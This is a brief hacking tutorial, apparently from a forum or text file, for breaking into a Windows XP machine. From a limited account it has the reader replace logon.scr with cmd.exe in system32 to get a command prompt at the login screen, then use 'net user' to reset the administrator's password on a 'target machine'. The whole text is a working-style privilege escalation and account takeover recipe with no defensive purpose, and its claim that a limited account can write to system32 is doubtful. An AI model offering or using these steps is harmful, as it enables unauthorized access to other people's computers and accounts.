If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.